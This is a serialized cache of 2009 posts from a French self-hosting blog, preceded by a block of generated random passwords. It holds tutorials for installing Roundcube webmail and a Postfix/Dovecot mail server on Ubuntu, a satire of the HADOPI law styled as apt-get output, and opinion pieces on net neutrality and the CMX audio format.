x9C4(/]" 9H(||>"8 k"gKzz5} B@W8s#dW \J9]j7l] 3O@;~{vM RNQ'g2M6 >ZQ}E1[]
%3t"i^aK Wp!1(Jw% }0RQ!y\E ~)(0L4.' p@|9uLZO q%%0n#L: ._9AgN}K s[vK?Fi8
vtPgD?~7 Q(>NZ"6j -ADl[88, '+FQj\g6 <,zS(N[2 v9_HEyc: %i5%B!d5 _BA36*Y$
]vS8N!YG 9v'-Dmd3 QQ1;@Zq/ X-3ov/!T Fi%+QI~2 #GY5~>V$ O}T!N8z# 8Gm/-'Al
gM\(bt3\ Ur[D7:I+ dZx@:<5r >^*IKAG2 StTJ3.2! a~FBKB6@ )r->m5Ia ui;7Uy*/
9x]jD;>p X6#TV*at 8koi'YTc N9jYz&qC; nC}9xy#; oyGvr*d4 Oh1}s.mI T$q5htKG
m\o}-6Ex 952Np-ly |vO9T\${ 6u3V)~H" R0fq6T3# [QJTM^a3 7y\M[|2j "s\4U}Hv
:Br^T4_G wKi8,,\_ q;+3K"&{ W1kp`q7& 0Ps?Gq#) cRQ5jnl| ;i6rMWbf [D<4~|Gb
`W_c)/7p A:H,4g2; U?Q{sB4, HMED>2`) .-,9Mlhk *9I\nYH/ bDb`(&,7 x8sLE.G[
F>(.'o0s J\N-0h=< Vrk0W2,n (M3vAm,S rs&ZKgD5; @:a$8N*5 9qm|BZiq {o&3qK`A
-R2/qwg? 3D>{\Y&| s2Bc!]bD tAfJ_1GS \7F[mWJK E#(7zIW@ )RT7lrG) !rzI4Gwn
.0AE=J"| z8Z]b%|N "$4,7X,p +j}!'Ui6 o%W$L/3{ n#+Rf`P9 x3q"Bd($ ""Xmh6S?
@:3T=z~A E+IFC`2C 5;YG]&/] ,1@!<*Qt <2Y8A4a@ ;5fOO0{B 7Prjv$Ms 2'g!6!3T
9r")N*J; z=K'75=! p|0K]&e;< {l5kvqL{ (mG4?0xt p5>F>)D5 j69;T^Jv ;.6sLj5?
qH;1<6Cq 7M+olge; \^n,S7B, @}^7Z]u@ 62__*C6b BNDnB)1@ xr^qwE7C a2'V*S<0
5&dk;?QN9 W0x(}QPE ~-6i-ufZ ik|v#s9L 6xdgc2Y= 7kcS#}if PG1}MI6V u(29L/?}

Les plus paranos pourront également changer des caractères des mots de passes générés, ou les mélanger entre eux (afin d’éviter qu’un bug de pwgen ne provoque une baisse de sécurité).

Il est également possible de passer en paramètre la longueur des mots de passe que l’on veut générer.

Pour le reste :

man pwgen

Il existe aussi un outil similaire nommé apg.

";s:7:"dateiso";s:15:"20091121_190529";}s:15:"20091121_183855";a:7:{s:5:"title";s:50:"Installer un webmail (Roundcube) sur Ubuntu Server";s:4:"link";s:78:"http://blog.rom1v.com/2009/11/installer-un-webmail-roundcube-sur-ubuntu-server";s:4:"guid";s:78:"http://blog.rom1v.com/2009/11/installer-un-webmail-roundcube-sur-ubuntu-server";s:7:"pubDate";s:25:"2009-11-21T18:38:55+01:00";s:11:"description";s:0:"";s:7:"content";s:10229:"

Un de mes précédents billets présentait l’installation d’un serveur de mails sur Ubuntu Server. Une fois installé, il était possible d’accéder à son courrier grâce à un client de messagerie.

Il peut-être pratique, en plus de cela, d’accéder à ses mails par un webmail de n’importe où (notamment au travail, où il ne sera pas filtré comme celui de gmail ou de yahoo, puisque c’est un webmail perso).

Je profite de la réinstallation à neuf de mon serveur pour présenter l’installation de Roundcube, un webmail assez moderne, à installer sur LAMP (avec accès HTTPS) sur Ubuntu Server.

Voici ce que ça donne une fois installé :

roundcube

Je partirai du principe que le webmail est sur la même machine que le serveur SMTP et que le répertoire ~/Maildir (contenant les mails), et qu’il sera le seul site hébergé en HTTPS sur le serveur.

Téléchargement

Tout d’abord, il faut télécharger l’archive sur le site de Roundcube (la version complète), et l’extraire dans un répertoire :

tar xzf roundcubemail-0.3.1.tar.gz

Il est plus pratique de le renommer :

mv roundcubemail-0.3.1 mail

Ensuite, il faut donner les droits au serveur d’écrire dans les répertoires temp et logs :

sudo chmod -R 777 mail/temp mail/logs

Enfin, faire un lien du répertoire d’installation de Roundcube (par exemple ~/mail) dans /var/www.

sudo ln -s ~/mail/ /var/www

Préparation de la base de données

Il faut créer une base de données qui sera utilisée par Roundcube, avec son propre utilisateur. Pour cela, démarrer mysql en tant qu’administrateur (le login et le mot de passe choisi lors de la configuration de mysql) :

$ mysql -uroot -p
Enter password:

Ensuite, créer une base de données :

mysql> CREATE DATABASE mail;
Query OK, 1 row affected (0,00 sec)

Puis un utilisateur mysql (par exemple mailuser/unmotdepasse) :

mysql> GRANT ALL PRIVILEGES ON mail.* TO mailuser@localhost
    -> IDENTIFIED BY 'unmotdepasse';
Query OK, 0 rows affected (0,00 sec)

Voilà, la base de données est prête à accueillir Roundcube.

Configuration d’Apache

Tout d’abord, il faut activer le mod ssl d’apache :

sudo a2enmod ssl

Et renseigner le champ date.timezone de php.ini :

sudo vi /etc/php5/apache2/php.ini

Remplacer la ligne :

;date.timezone =

par :

date.timezone = 'Europe/Paris'

Ensuite, il faut créer un VirtualHost qui décrit à Apache le site qu’il doit héberger (le nom du site sur lequel il répond en http, quels répertoires doivent être accessibles, etc.).

Voici un modèle (qui correspond à mon VirtualHost), qui permet :

NameVirtualHost *:443

<VirtualHost *:80>
  ServerName  mail.rom1v.com
  Redirect  / https://mail.rom1v.com/
</VirtualHost>

<VirtualHost *:443>
  DocumentRoot  /var/www/mail
  ServerName  mail.rom1v.com
  SSLEngine on
  SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
  SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key

  <Directory /var/www/mail/>
    Options FollowSymLinks MultiViews
    AllowOverride All
    Order allow,deny
    allow from all
  </Directory>
  
  <Directory /var/www/mail/config>
    Options -FollowSymLinks
    AllowOverride None
  </Directory>
  
  <Directory /var/www/mail/temp>
    Options -FollowSymLinks
    AllowOverride None
  </Directory>
  
  <Directory /var/www/mail/logs>
    Options -FollowSymLinks
    AllowOverride None
    Order allow,deny
    Deny from all
  </Directory>
  
  ErrorLog  /var/log/apache2/mail_error.log
  CustomLog /var/log/apache2/mail_access.log combined

</VirtualHost>

Ce fichier, une fois adapté à votre serveur, est à écrire dans /etc/apache2/sites-available/ (dans un fichier nommé comme votre site par exemple, mail.rom1v.com pour moi).

Il faut ensuite l’activer :

sudo a2ensite mail.rom1v.com

Et recharger Apache :

sudo /etc/init.d/apache2 reload

Configuration de Roundcube

Il ne reste plus qu’à aller sur http://votreserveur/installer avec un navigateur pour configurer Roundcube.

Bien sûr, lors de la première connexion, Firefox vous alerte car il ne connaît pas votre certificat SSL (qui est auto-signé), il suffit de lui indiquer que vous faites confiance à ce site (puisque c’est le vôtre) en ajoutant une exception.

firefox-ssl

L’étape 1 (Check environment) doit bien se passer (à part quelques modules optionnels que vous n’avez pas, ce n’est pas grave).

Pour l’étape 2 (Create config) :

Lors de la validation, deux fichiers sont générés. Il faut les télécharger et les placer dans le répertoire config/ (ce n’est pas très pratique d’ailleurs, lorsqu’on accède au serveur par ssh, devoir télécharger les fichiers localement pour les renvoyer au serveur est un peu tordu).

L’étape 3 (Test config) permet de tester que tout est OK. Il faut cliquer sur Initialize database.

Une fois ces étapes effectuées, rendez-vous sur l’adresse du webmail, vérifiez que ça fonctionne (avec votre login système et votre mot de passe). Si tout est ok, supprimez le répertoire installer/ :

rm -rf /var/www/mail/installer

Modifier les préférences

Une fois connecté, il est possible de changer les préférences utilisateur. Je vous laisse découvrir les options par vous-même, mais certaines sont importantes.

Tout d’abord, dans l’onglet identités, renseignez votre adresse mail (par défaut c’est login@localhost, ce qui posera des problèmes à ceux qui voudront vous répondre).

Ensuite, activez les options qui concernent la suppression d’un message sur un compte IMAP dans Préférences du serveur de l’onglet Préférences :

Conclusion

Bravo. Vous avez maintenant un serveur mail perso avec un accès webmail sur HTTPS en plus de votre accès IMAP/TLS. Vous gagnez 1 point de liberté et 1 point de confort.

";s:7:"dateiso";s:15:"20091121_183855";}s:15:"20090921_232953";a:7:{s:5:"title";s:22:"apt-get install hadopi";s:4:"link";s:52:"http://blog.rom1v.com/2009/09/apt-get-install-hadopi";s:4:"guid";s:52:"http://blog.rom1v.com/2009/09/apt-get-install-hadopi";s:7:"pubDate";s:25:"2009-09-21T23:29:53+02:00";s:11:"description";s:0:"";s:7:"content";s:8283:"

terminal

albanel@majors$ sudo apt-get install hadopi
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés :
  lib-bypass-constitution-francaise lib-propagande
  lib-autorite-administrative-avec-tous-les-droits
E Les paquets suivants ont des dépendances non satisfaites : hadopi dépend de lo
bby-vivendi, mais lobby-vivendi est en conflit avec lib-information-impartiale.
Les actions suivantes permettront de résoudre ces dépendances :
  s-asseoir-sur-les-libertés-fondamentales
Accepter cette solution [O/n] ? O

Les paquets suivants seront enlevés :
  lib-presomption-d-innocence lib-droits-de-la-defense
  lib-separation-des-pouvoirs lib-information-impartiale
Les NOUVEAUX paquets suivants seront installés :
  hadopi lib-bypass-constitution-francaise lib-propagande
  lib-autorite-administrative-avec-tous-les-droits lobby-vivendi
0 mis à jour, 5 nouvellement installés, 4 à enlever et 0 non mis à jour.
Il est nécessaire de prendre 70 heures de débats à l'Assemblée Nationale et un n
ombre indéterminé d'heures de propagande dans les médias.
Après cette opération, 500000€ d'argent public supplémentaires seront utilisés.
Souhaitez-vous continuer [O/n] ? O

Suppression de lib-presomption-d-innocence...
Suppression de lib-droits-de-la-defense...
Suppression de lib-separation-des-pouvoirs...
Suppression de lib-information-impartiale...

Réception de : 1 http://www.vivendi.fr lobby/control lib-bypass-constitution-fra
ncaise réceptionnés en 1s
Réception de : 2 http://www.vivendi.fr lobby/control lobby-vivendi réceptionnés
en 1s
Réception de : 3 http://www.vivendi.fr lobby/control lib-propagande réceptionnés
 en 1s
Réception de : 4 http://www.sarkozy.fr util/rights lib-autorite-administrative-a
vec-tous-les-droits réceptionnés en 1s

Dépaquetage de lib-bypass-constitution-francaise...
Dépaquetage de lobby-vivendi...
I lobby-vivendi était déjà présent et très bien intégré au système.
Dépaquetage de lib-propagande...
Dépaquetage de lib-autorite-administrative-avec-tous-les-droits...

Génération de hadopi...
Refus de discussions...
Rejet des amendements proposés (utilisation du module anéfé-rejeté)...
Compilation de oofirewall...
Compilation de arguments-fallacieux...
  Compilation de les-accords-de-l-elysee...
  Compilation de les-ventes-de-cd-chutent-de-50%-et-celles-des-cassettes-audio-d
e-90%-c-est-inadmissible...
  Compilation de la-creation-est-en-train-de-mourir-a-cause-de-gens-qui-attaquen
t-les-bateaux...

W Le module 5-gus-dans-un-garage semble poser des problèmes de compilation de ar
guments-fallacieux.

E Problème lors de la génération de hadopi : des composants cachés derrière des
rideaux sont apparus de manière inattendue. Réessayer [O/n] ? O

Pour éviter que le problème ne se reproduise, il est nécessaire de mettre à jour
le module deputes-godillots. Souhaitez-vous mettre à jour [O/n] ? O

Compilation de cope-rabat-les-troupes...
Compilation de laver-l-affront...
Mise à jour de deputes-godillots...

W De nombreux paquets de type amendement ralentissent l'installation d'hadopi.

L'installation de hadopi semble avoir réussi.

Vérification de la compatibilité avec la constitution française...
E Le module lib-bypass-constitution-francaise a été détecté par le conseil const
itutionnel.
E Le module répression a dû être désactivé pour protéger la constitution.

Installation obligatoire de internet-liberte-fondamentale.
Réception de : 1 http://www.constitution.fr rights internet-liberte-fondamentale
 réceptionnés en 1s
Dépaquetage de internet-liberte-fondamentale...

albanel@majors$ for m in media; do echo 'Je prends acte de la décision du consei
l constitutionnel. 95% du texte a été validé.'; done

E lobby-vivendi panic détecté.
Prise en charge de l'erreur par sarkozy et lobby-vivendi.

exit

sarkozy@majors# deluser albanel
sarkozy@majors# ls gauche/corrompus/*
  Trop de résultats ont été trouvés : affichage des premiers résultats.
    jack_lang frederic_mitterrand
sarkozy@majors# adduser lang
 > opération échouée
sarkozy@majors# adduser mitterrand
sarkozy@majors# su mitterrand

mitterrand@majors$ sudo /etc/init.d/pantind start
 * Starting PantinServer                                                 [ OK ]
mitterrand@majors$ pantin -verbose
Attente des ordres...
Exécution à distance de "apt-get install hadopi2"...
L'installation du paquet hadopi2 peut corriger le problème. Tenter [O/n] ? O
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés :
  ordonnance-penale negligence-caracterisee
  on-vous-prend-vraiment-pour-des-cons
Les NOUVEAUX paquets suivants seront installés :
  hadopi2 ordonnance-penale negligence-caracterisee
  on-vous-prend-vraiment-pour-des-cons
Les paquets suivants seront mis à jour :
  lib-bypass-constitution-francaise
0 mis à jour, 4 nouvellement installés, 0 à enlever et 1 non mis à jour.
Il est nécessaire de prendre 40 heures de débats à l'Assemblée Nationale.
Après cette opération, 300000€ d'argent public supplémentaires seront utilisés.
Souhaitez-vous continuer [O/n] ? O

Réception de : 1 http://justice-expeditive.fr tools ordonnance-penale réceptionn
és en 1s
Réception de : 2 http://justice-expeditive.fr tools negligence-caracterisee réce
ptionnés en 1s
Réception de : 3 http://habitudes.gouv.fr kernel on-vous-prend-vraiment-pour-des
-cons réceptionnés en 1s
Réception de : 4 http://henrard.fr control lib-bypass-constitution-francaise réc
eptionnés en 5 minutes

Dépaquetage de ordonnance-penale...
Dépaquetage de negligence-caracterisee...
Dépaquetage de on-vous-prend-vraiment-pour-des-cons...
I En fait ce module était déjà présent sur le système depuis un moment.
Dépaquetage de lib-bypass-constitution-francaise...

Paramétrage de on-vous-prend-vraiment-pour-des-cons...
Paramétrage de lib-bypass-constitution-francaise...

Génération de hadopi2...
Refus de TOUTES discussions (ignorer-analyses-pertinentes activé)...
Rejet de TOUS les amendements proposés (utilisation du module anéfé-rejeté-en-ra
fale)...
Le paquet arguments-fallacieux existait déjà, mais il nécessite maintenant les d
épendances arguments-fallacieux-negligence-caracterisee et arguments-fallacieux-
ordonnance-pénale. Installer [O/n] ? O

Réception de : 1 http://henrard.fr control arguments-fallacieux-negligence-carac
terisee réceptionnés en 2 jours
Réception de : 2 http://henrard.fr control arguments-fallacieux-ordonnance-pénal
e réceptionnés en 1 jour

Dépaquetage de arguments-fallacieux-negligence-caracterisee...
Dépaquetage de arguments-fallacieux-ordonnance-pénale...

W hadopi2-senat-1 est moins performant que hadopi-senat-*.
I deputes-godillots utilisé pour compiler le module vote-solennel.
W Problème éventuel de sécurité. Des éléments de compilation de vote-solennel on
t peut-être été contrôlés à distance : des incohérences entre leurs données et l
eurs actions ont été détectées.
La compilation de vote-solennel a réussi.

W L'installation de hadopi2-senat-2 a fonctionné, mais il semble que 90% du code
source du paquet n'ait pas été utilisé.

Compilation de vote-solennel-2...
I deputes-godillots fonctionne à merveille.
La compilation de vote-solennel-2 a réussi.

Vérification de la compatibilité avec la constitution française...
E Le module on-vous-prend-vraiment-pour-des-cons a fortement déplu au conseil co
nstitutionnel.
E Le paquet hadopi2 a été tagué "censuré" par le conseil constitutionnel.

Attente des ordres...
Ordre reçu de lobby-vivendi : créer une taxe sur les fournisseurs d'accès sans c
ontrepartie.
Résolution du problème trouver-des-arguments-bidons-pour-faire-passer-ça-et-refu
ser-la-contribution-créative en cours...
Réception de : 1 http://www.majors.fr help toubon réceptionnés en 1s
Réception de : 2 http://www.majors.fr help zelnik réceptionnés en 1s

Attente des ordres...
";s:7:"dateiso";s:15:"20090921_232953";}s:15:"20090905_114211";a:7:{s:5:"title";s:49:"Paquet telecom : neutralité du Net en danger !";s:4:"link";s:72:"http://blog.rom1v.com/2009/09/paquet-telecom-neutralite-du-net-en-danger";s:4:"guid";s:72:"http://blog.rom1v.com/2009/09/paquet-telecom-neutralite-du-net-en-danger";s:7:"pubDate";s:25:"2009-09-05T11:42:11+02:00";s:11:"description";s:0:"";s:7:"content";s:1771:"

Ce court billet a pour but de relayer l’annonce publiée sur la Quadrature du Net : « Il est crucial de préserver la neutralité du net ».

lqdn

Pour résumer, le « paquet telecom » (les directives européennes qui réglementent le marché des télécommunications) contient des dispositions contre la neutralité du Net. Heureusement, ce projet a été bloqué par l’adoption du fameux amendement 138, et les parties concernant la neutralité du Net peuvent encore être renégociées. C’est pourquoi il est important d’agir : tout est expliqué dans le paragraphe « Comment nous sauverons la neutralité du Net ».

Par ailleurs, pour faire le lien avec mon précédent billet, si vous êtes chez Orange par exemple, vous ne pouvez pas héberger votre propre serveur mail à cause du blocage du port 25 : c’est une atteinte à la neutralité du Net, car votre réseau n’est pas égal aux autres, vous ne pouvez pas envoyer de mails (sans passer par un serveur tiers). Ce n’est pas acceptable, faites-le savoir.

EDIT 03/10/2009 : Finalement, les dispositions portant atteinte à la neutralité du Net ne seront pas renégociées.

";s:7:"dateiso";s:15:"20090905_114211";}s:15:"20090816_215228";a:7:{s:5:"title";s:56:"Hébergez vos mails sur Ubuntu Server (et libérez-vous)";s:4:"link";s:82:"http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous";s:4:"guid";s:82:"http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous";s:7:"pubDate";s:25:"2009-08-16T21:52:28+02:00";s:11:"description";s:0:"";s:7:"content";s:9906:"

Après avoir acheté un petit serveur pour y héberger ce dont j’avais besoin, mon objectif est d’héberger TOUT ce qui n’a rien à faire ailleurs. Et comme l’explique Benjamin Bayart dans sa désormais célèbre conférence Internet libre ou Minitel 2.0, toutes nos données personnelles entrent dans cette catégorie.

Mon blog est un bon exemple d’un contenu qui ne doit pas être hébergé ailleurs. La liste des flux RSS que je consulte aussi (c’est pourquoi j’ai installé tt-rss). Mon album photos à partager avec la famille également (j’ai installé gallery). Mais il restait le plus important : les mails.

Et c’est bien moins compliqué à installer que je ne l’imaginais !

Je vais donc présenter comment installer son propre serveur de mails sur Ubuntu Server (si vous utilisez autre chose, ça ne devrait pas être bien dur à adapter). Ainsi, vous pourrez avoir une jolie adresse login@mondomaine.

Prérequis

Je supposerai que vous avez déjà un nom de domaine et que vous savez ajouter des enregistrements A et MX (généralement dans l’interface fournie par votre registrar).

Présentation

Pour mettre en place un serveur mail complet, nous avons besoin de deux choses : un serveur SMTP (qui gère le transport du courrier) et un serveur IMAP ou POP3 (permettant de se connecter à sa boîte aux lettres).

J’ai choisi respectivement postfix et dovecot (ceux par défaut dans Ubuntu Server).

Il est possible de faire tout un tas de choses compliquées, ici je vais aller au plus simple. Au final on obtiendra donc un compte mail par utilisateur système (avec son mot de passe système), un serveur SMTP et un accès IMAP, le tout sécurisé sur TLS. Le serveur SMTP ne pourra relayer les mails envoyés qu’à partir du réseau local.

Configuration DNS

Rajoutez deux records de type A à votre fichier de zones DNS (smtp et imap – histoire de faire comme tout le monde, mais vous mettez ce que vous voulez –), et ajoutez un record de type MX qui pointe vers votre enregistrement smtp (smtp.rom1v.com. – n’oubliez pas le . à la fin –).

Il faut bien sûr ouvrir les ports sur le routeur et dans le pare-feu… Pour rappel :

Serveur

postfix

Si vous n’avez pas déjà les paquets installés :

sudo apt-get install postfix dovecot-imapd

Si vous aviez déjà postfix :

sudo dpkg-reconfigure postfix

Vous obtenez un écran de configuration debconf qui va vous prendre par la main pour la configuration :

postfix-debconf

  1. Configuration type du serveur de messagerie : Site Internet
  2. Nom de courrier : votre nom de domaine (rom1v.com pour moi)
  3. Destinataire des courriels de « root » et de « postmaster » : votre login sur le serveur (rom pour moi)
  4. Autres destinations pour lesquelles le courrier sera accepté : rajoutez votre nom de domaine dans la liste (rom1v.com)
  5. Forcer des mises à jour synchronisées de la file d’attente des courriels : non (laisser par défaut)
  6. Réseaux internes : 127.0.0.0/8, 192.168.0.0/24 si votre réseau local est 192.168.0.x
  7. Utiliser procmail pour la distribution locale : non (allons au plus simple)
  8. Taille maximale des boîtes aux lettres (en octets) : à vous de choisir, moi j’ai mis 5Gio (5368709120)
  9. Caractère d’extension pour les adresse locales : + (laisser par défaut)
  10. Protocoles internet à utiliser : all

Vous avez alors un fichier /etc/postfix/main.cf qui ressemble à ceci (sauf la dernière ligne) :

myhostname = rom1v.com
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
mydestination = rom1v.com, rom-eeebox, localhost.localdomain, localhost
relayhost =
mynetworks = 127.0.0.0/8, 192.168.0.0/24
mailbox_size_limit = 5368709120
recipient_delimiter = +
inet_interfaces = all
myorigin = /etc/mailname
inet_protocols = all
home_mailbox = Maildir/

Ajoutez donc la dernière ligne (c’est très important pour faire fonctionner IMAP).

Par défaut, les mails sont limités à 10Mio (ce qui paraît normal). Cependant, il arrive toujours que quelqu’un dans votre entourage vous envoie 10 photos de 3Mio chacune. Pour cela il faut ajouter dans /etc/postfix/main.cf la ligne suivante (pour 50Mio) :

message_size_limit = 52428800

Voilà, le serveur SMTP est prêt :

sudo /etc/init.d/postfix restart

Il ne sera possible d’envoyer un mail qu’à partir des réseaux définis dans mynetworks (c’est pour cela qu’il n’y a pas d’authentification par défaut).

Pour mettre en place une authentification plutôt que de limiter l’accès à une liste de réseaux, lisez ce billet.

dovecot

Il y a deux choses à changer dans le fichier /etc/dovecot/dovecot.conf, tout d’abord pour activer le protocole IMAP :

protocols = imap

Ensuite pour choisir le répertoire de stockage des mails pour les utilisateurs (forcément ~/Maildir) :

mail_location = maildir:~/Maildir

Enfin, il faut préparer ce répertoire en exécutant la commande :

maildirmake.dovecot ~/Maildir

Pour forcer SSL/TLS :

ssl = required

Voilà, c’est fini :

sudo /etc/init.d/dovecot restart

Client

Le serveur est configuré, nous pouvons maintenant l’utiliser.

mailutils

Commençons par le tester grâce au paquet mailutils qui permet d’envoyer des mails en ligne de commande :

sudo apt-get install mailutils

Directement sur le serveur :

$ mail login@mondomaine
Cc:
Subject: Mon premier serveur
Ça y'est, j'ai configuré mon premier serveur !

(terminer avec une nouvelle ligne suivi de Ctrl+D)

Le mail a dû arriver dans ~/Maildir/new.

Un vrai client

Comme pour n’importe quelle adresse e-mail, il suffit de configurer le client (Evolution par exemple) en renseignant les champs demandés.

Réception

Envoi

Sauvegardes

Bien entendu, maintenant que vous hébergez vos mails, vous êtes responsables de leur stockage, et donc des backups. Mais j’imagine que cela ne vous posera pas de problèmes, car vous avez bien évidemment déjà mis en place un système (au moins rsync) qui sauvegarde vos données sur une autre machine : il suffira donc de rajouter le répertoire ~/Mailbox à la liste des répertoires sauvegardés.

Disponibilité

Si le serveur est déconnecté moins de 5 jours, ce n’est pas catastrophique, les mails ne seront probablement pas perdus, la majorité des serveurs SMTP tentent de renvoyer le courrier après un échec. Évidemment, si le serveur est éteint durant un mois, il n’y a pas de magie : pas de serveur, pas de mails…

Conclusion

Cette étape est pour moi un pas de plus vers un internet libre…

J’ai présenté ici le minimum vital, mais vous pouvez trouver des fonctionnalités à mettre en place (un webmail tel que RoundCube, un anti-spam, le tri des mails sur le serveur, une authentification SMTP…).

Amusez-vous bien !

";s:7:"dateiso";s:15:"20090816_215228";}s:15:"20090815_143229";a:7:{s:5:"title";s:49:"Format d'albums audio CMX : aidons les majors !";s:4:"link";s:73:"http://blog.rom1v.com/2009/08/format-d-albums-audio-cmx-aidons-les-majors";s:4:"guid";s:73:"http://blog.rom1v.com/2009/08/format-d-albums-audio-cmx-aidons-les-majors";s:7:"pubDate";s:25:"2009-08-15T14:32:29+02:00";s:11:"description";s:0:"";s:7:"content";s:10931:"

Les majors ont annoncé la préparation d’un nouveau format audio : le CMX. Ce format numérique permettra de stocker en un seul fichier un album intégral accompagné de bonus comme la jaquette, les paroles, des clips vidéo et des contenus spécifiques pour les téléphones mobiles.

Critiqués depuis des années pour ne pas avoir su prendre le « virage du numérique », et après des actions contre-productives (fermeture de Napster, loi DADVSI, loi HADOPI…), ils semblent enfin proposer du nouveau : vendre des albums numériques avec des contenus supplémentaires. Enfin un peu d’innovation !

Je voudrais donc saluer cette démarche (même si elle arrive un peu tard), et les encourager pour que ce format puisse fonctionner. Pour cela, plusieurs critères essentiels doivent être respectés.

On acceptera ici sans discuter les hypothèses suivantes :

Je laisserai de côté, même si c’est essentiel pour la réussite du format, le fait de savoir si ces contenus numériques supplémentaires, en eux-mêmes, ont un intérêt aux yeux des consommateurs (après tout, on ne peut savoir tant que ça n’a pas été évalué).

Conditions du succès

À l’heure actuelle, nous n’en savons que très peu sur ce format, mais nous pouvons nous intéresser aux critères indispensables à sa réussite (dont nous avons des raisons de craindre qu’ils ne soient pas tous remplis).

Le but est clairement d’enrayer le partage de fichiers sur internet en proposant mieux. Il est donc indispensable que ce format ne soit pas moins bien que ses concurrents : aucun critère d’utilisation ne doit lui être défavorable à la fois face au partage de fichiers et face aux CD physiques. Seul le critère de prix pourra être « moins bon » (dans le cas du partage de fichiers), mais ce n’est pas un problème, les gens sont prêts à payer un album qu’ils aiment, à condition bien sûr de rester raisonnable (si l’album est vendu au format CMX à 25€, ce n’est même pas la peine d’aller plus loin).

Passons donc en revue les critères essentiels.

Lecture sans restriction d’usage

Tout fichier doit être lisible par tout logiciel ou matériel qui supporte ce format.

En particulier, aucune restriction d’usage (DRM) ne doit être intégrée au format, telle qu’un nombre de lectures limité, une lecture sur un nombre restreints d’appareils enregistrés, une vérification à effectuer tous les mois auprès d’un serveur sous peine d’empêcher la lecture (ce qui compromet la pérennité du contenu)…

L’intégration de DRM a déjà été testée (et protégée par la loi DADVSI, sous l’influence des majors justement), et elles ont eu exactement les effets attendus. Enfin, attendus de ceux qui ne se sont pas laissés aveugler par la croyance religieuse qu’il s’agissait d’une solution pour lutter contre le partage de fichiers : elles ont tué dans l’œuf la vente de contenus numériques et ont favorisé les échanges pairs à pairs. C’était pourtant évident : en tant que consommateur honnête, comment pouvez-vous accepter d’être restreint pour lire votre musique achetée légalement, alors que ceux qui se l’échangent (sur internet ou non, actuellement sans contrepartie pour les ayant droits) n’ont aucun problème ? Cela fait naturellement migrer des personnes qui voulaient acheter vers un contenu de « meilleure qualité » (avec un meilleur confort d’utilisation) mais sans rémunération pour les ayant droits.

Par analogie, supposons qu’il soit possible de trouver des livres gratuitement dans des entrepôts remplis de photocopieuses évoluées capables de dupliquer des ouvrages, qui fabriquent des livres tels que nous les connaissons (on peut les lire partout et quand on veut), mais sans rémunérer leurs auteurs. Et d’un autre côté, des magasins qui rémunèrent les auteurs (les livres sont donc payants). Pour tenter de contrer la copie, une entreprise innovante leur vante les mérites d’un papier d’une composition spéciale anti-copie : les fabricants utilisent donc ce papier pour leurs livres, ce qui rend difficile la photocopie (il faudra alors passer cinq minutes au lieu de deux pour dupliquer le livre la première fois). Le problème, c’est que ceux qui achètent ces livres sont pénalisés : le papier en question rend difficile la lecture quand la luminosité est un peu trop forte, il n’est possible de le lire qu’avec un angle compris entre -10° et +10°, et uniquement quand la température est comprise entre 15°C et 20°C. Dans de telles conditions, il est normal que de nombreuses personnes se tournent la première solution, c’est-à-dire des livres utilisables, quitte à ne pas rémunérer les auteurs (ou les intermédiaires)…

Interopérabilité

Le format de fichier doit être ouvert. Le format des contenus encapsulés aussi.

Le premier critère concernait directement des restrictions pour le consommateur, celui-ci concerne des restrictions pour les fournisseurs de solutions techniques permettant de lire le format (et donc au final également pour le consommateur). Bien évidemment, le non-respect du premier impliquera le non-respect du deuxième : les mesures de restriction d’usage ne peuvent être implémentées dans un format ouvert, ce sont deux concepts antagonistes.

Si ce critère n’était pas respecté, uniquement un nombre restreint de logiciels (liés à des accords commerciaux) supporterait ce format, et par conséquent uniquement sur les systèmes pour lesquels ils seraient conçus : le consommateur ne pourrait pas lire ce qu’il a acheté avec ses logiciels habituels ou son système habituel… alors qu’il le peut avec le partage de fichiers, il ne ferait donc pas l’effort de payer un album si c’est pour obtenir un contenu moins utilisable.

C’est d’ailleurs ce que veut proposer Apple : son propre format Cocktail (comme d’habitude avec cette firme, un format propriétaire ultra-fermé). Malheureusement, avec le quasi-monopole d’Apple sur les baladeurs numériques, ce format a une chance d’être assez diffusé (même si les utilisateurs n’en sont pas pleinement satisfait parce qu’ils ne peuvent pas le transférer sur un baladeur non-Apple, ceux qui ont uniquement un iPod et qui ne sont pas sensibilisés à ces problématiques s’en contenteront). Si Apple réussit son coup, cela pénalisera à la fois les consommateurs (puisqu’ils ne pourront pas lire la musique sur le support de leur choix) et les ayant-droits (puisqu’une grande partie des utilisateurs ne pourront pas utiliser ce format). Sans compter la confusion provoquée par la guerre des formats CMX contre Cocktail (chacun compatible avec un sous-ensemble différent de logiciels et matériels restreints), qui rendrait la situation non propice à la consommation. Et le partage de fichiers serait de plus en plus attractif face à ce qui serait appelée « l’offre légale ».

Appropriation

Le consommateur doit pouvoir manipuler le contenu comme il le souhaite (dans la limite des droits liés à la propriété intellectuelle).

En particulier, il doit pouvoir extraire une ou plusieurs pistes d’un album pour la mettre sur son baladeur, extraire les bonus tels que les paroles des chansons pour les transférer sur sa clé USB pour les imprimer au travail… (cela paraît assez naturel, si j’achète un journal ou un magazine, je peux en découper une page pour la mettre dans ma poche). Il doit également pouvoir créer lui-même un fichier de ce type, pour réaliser une compilation par exemple. De même, le contenu doit être convertible dans un autre format (tous les logiciels et matériels ne supporteront pas ce format, ne seraient-ce que parce qu’ils sont sortis avant).

Si ces critères n’étaient pas respectés, le format CMX serait moins bien à la fois que les CD et que ce qui est disponible sur les réseaux de partage de fichiers…

Ils le seront automatiquement si CMX est un format ouvert.

Proposition de format

Proposons alors un format qui remplit tous ces critères.

Les meilleurs formats sont des formats simples. Nous pourrions imaginer que le CMX soit une archive (un zip, un tar.gz ou autre) qui contienne une arborescence normalisée (à la manière des .jar, des .ear…).

Par exemple, artiste-album.cmx serait une archive dont la structure pourrait être :

Chacun des contenus de cette archive devrait être un format ouvert.

